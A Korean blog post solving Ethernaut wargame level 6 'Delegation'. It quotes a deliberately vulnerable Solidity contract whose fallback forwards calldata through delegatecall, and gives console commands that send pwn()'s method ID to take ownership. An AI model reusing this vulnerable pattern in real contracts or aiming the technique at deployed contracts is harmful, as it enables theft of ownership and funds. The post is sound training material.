Don't think! Just do it!

종합 IT 기술 정체성 카오스 블로그! 이... 이곳은 어디지?

Smart contract/Ethernaut 문제풀이

Ethernaut 문제풀이 #6 - Delegation

방피터 2022. 2. 28. 16:34

6번째 문제 Delegation(위임)입니다. 역시 ownership을 탈취가 이번 레벨 클리어 조건입니다.

힌트를 살펴 봅시다.

먼저 Delegation call에 관한 문제라고 친절하게 알려주네요. solidity 문서의 delegatecall을 살펴보라고 합니다. Fallback과 Method ids도 도움이 된다고 하는데 method ids는 가 뭐였지? 생각이 안나네요. 공부하다보면 다시 생각 나겠죠 ㅎㅎ

자 인스턴스 생성하시고 코드를 한번 살펴 봅시다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate { //Delegate 컨트렉트 정의

  address public owner;

  constructor(address _owner) public {//생성자
    owner = _owner;//오너 설정
  }

  function pwn() public {//응? pwn() 수행하면 오너가 되는데요?? 뭐지??
    owner = msg.sender;
  }
}

contract Delegation {//Delegation 컨트렉트 정의

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {//생성자
    delegate = Delegate(_delegateAddress);//delegate 컨트랙트 호출
    owner = msg.sender;//오너 설정
  }

  fallback() external {//fallback 함수
    (bool result,) = address(delegate).delegatecall(msg.data);//delegatecall 수행
    if (result) {
      this;
    }
  }
}

이번 코드 안에는 delegate와 delegation 이렇게 두 개의 컨트렉트가 있습니다. delegation컨트렉트의 fallback 함수에서 delegate 컨트렉트의 함수를 실행할 수 있도록 해두었네요. 자 그럼 delegatecall에 대해 조금 더 정확하게 알아보도록 하겠습니다.

 

Solidity 문서에서 degatecall이라고 검색해봤습니다.

https://solidity-kr.readthedocs.io/ko/latest/types.html?highlight=delegatecall#address-members 

 

타입 — Solidity 0.5.10 documentation

암시적 형변환 피연산자가 서로 다른 타입이라면, 컴파일러는 하나의 피연산자를 다른 피연산자의 타입으로 암시적 형변환을 시도합니다(할당의 경우에도 마찬가지입니다). 일반적으로, 의미

solidity-kr.readthedocs.io

deletegatecall에 대한 설명을 봅시다.

한국말로 번역하자면(ㅋㅋ) delegatecall을 사용하면 다른 컨트랙트가 가진 함수를 마치 내것인 것 처럼 사용할 수 있다는 내용이네요.

그럼 제가 fallback함수를 일으켜 delegatecall을 통해 delegate컨트렉트의 pwn()을 수행하면 오너가 저로 바뀌겠네요. 아래 그림을 보시면 조금 더 이해하기 편하실 거에요.

자 그럼 fallback을 일으켜 보도록하죠. 다시 한번 fallback 코드를 보시죠

fallback() external {//fallback 함수
  (bool result,) = address(delegate).delegatecall(msg.data);//delegatecall 수행
  //fallback 실행시 data를 delegatecall 형식에 맞게 보내주어야 한다.
  if (result) {
    this;
  }
}

delegatecall에는 실행시킬 method id를 변수로 넣어야 합니다. 즉 fallback 실행시 delegatecall로 실행시킬 method id를 데이터로 함께 보내주어야 합니다. (힌트에서 나온 method ids가 method IDs 이었네요 -_- 난 또 무슨 약어인줄 알고...)

 

fallback을 어떻게 일으키는지는 아시죠? 해당 컨트렉트 주소로 이더를 보내면 됩니다. 예전에는 가능했던 것 같은데 현재 메타마스크에서는 데이터를 함께 보낼 수 있는 기능을 찾을 수가 없습니다. 따라서 콘솔을 이용해 fallback을 일으켜봅시다. 우선 help() 를 실행해봅시다.

sendTransaction이라는 함수를 제공하고 있네요. web3 기반으로 하고 있다고 하니 web3의 옵션과 동일하겠지요?

 

https://web3js.readthedocs.io/en/v1.2.11/web3-eth.html#sendtransaction

 

web3.eth — web3.js 1.0.0 documentation

The web3-eth package allows you to interact with an Ethereum blockchain and Ethereum smart contracts. Note on checksum addresses All Ethereum addresses returned by functions of this package are returned as checksum addresses. This means some letters are up

web3js.readthedocs.io

 

옵션으로는 from(발신자), to(수신자), data이 3가지만 있으면 되겠네요. 발신자는 player 자신이 되구요. 수신자는 delegation 컨트랙트 인스턴스 주소가 되겠네요. 그리고 data에는 pwn 함수의 method id를 넣으면 될 것 같습니다.

 

method id는 4바이트 코드로 함수 형식을 keccak256 해쉬한 값의 첫 4 바이트입니다. pwn()의 method id를 확인하기 위해 아래를 콘솔에서 수행해 봅시다.

web3.utils.keccak("pwn()")

method id: keccak256 hash한 값의 첫 4바이트

pwn() 이란 함수의 method id는 0xdd365b8b네요.

 

다른 방식으로 확인할 수도 있습니다. 아래를 콘솔에 입력해봅시다.

web3.eth.abi.encodeFunctionSignature("pwn()")

동일한 결과를 확인할 수 있습니다.

 

*** 참고: method id에 자세한 설명은 아래 링크를 참고하세요.

https://solidity-kr.readthedocs.io/ko/latest/abi-spec.html?highlight=method%20id#function-selector-and-argument-encoding 

 

어플리케이션 바이너리 인터페이스 설명 — Solidity 0.5.10 documentation

기본 디자인 어플리케이션 바이너리 인터페이스는 블럭체인 밖에서든 컨트렉트 대 컨트렉트 상호작용이든, 이더리움 생태계에서 컨트렉트들과 상호작용 하는 표준 방법 입니다. 이 설명에 나

solidity-kr.readthedocs.io

 

자 이제 fallback 함수가 실행되도록 해 봅시다.

await sendTransaction({from:player, to:contract.address, data:web3.eth.abi.encodeFunctionSignature("pwn()")})

or

await sendTransaction({from:player, to:contract.address, data:"0xdd365b8b"})

 

그리고 오너가 자신으로 변경되었는지 확인해 봅시다.

await contract.owner()

 

자 정상적으로(?) 오너가 자신으로 바뀐 것을 확인하실 수 있습니다. 완료했습니다. 자 이제 제출하고 또 칭찬받으세요 ㅎㅎㅎ

칭찬 받으면 언제나 기분이 좋다 ㅎ

 

오늘의 교훈!은 사실 solidity 문서에 잘 나와 있습니다.

 

최후의 수단이랍니다.

call, delegatecall, callcode는 왠만하면 사용하지 말자!!

 

레벨 7에서 봐요!

 

안녕~!

 

반응형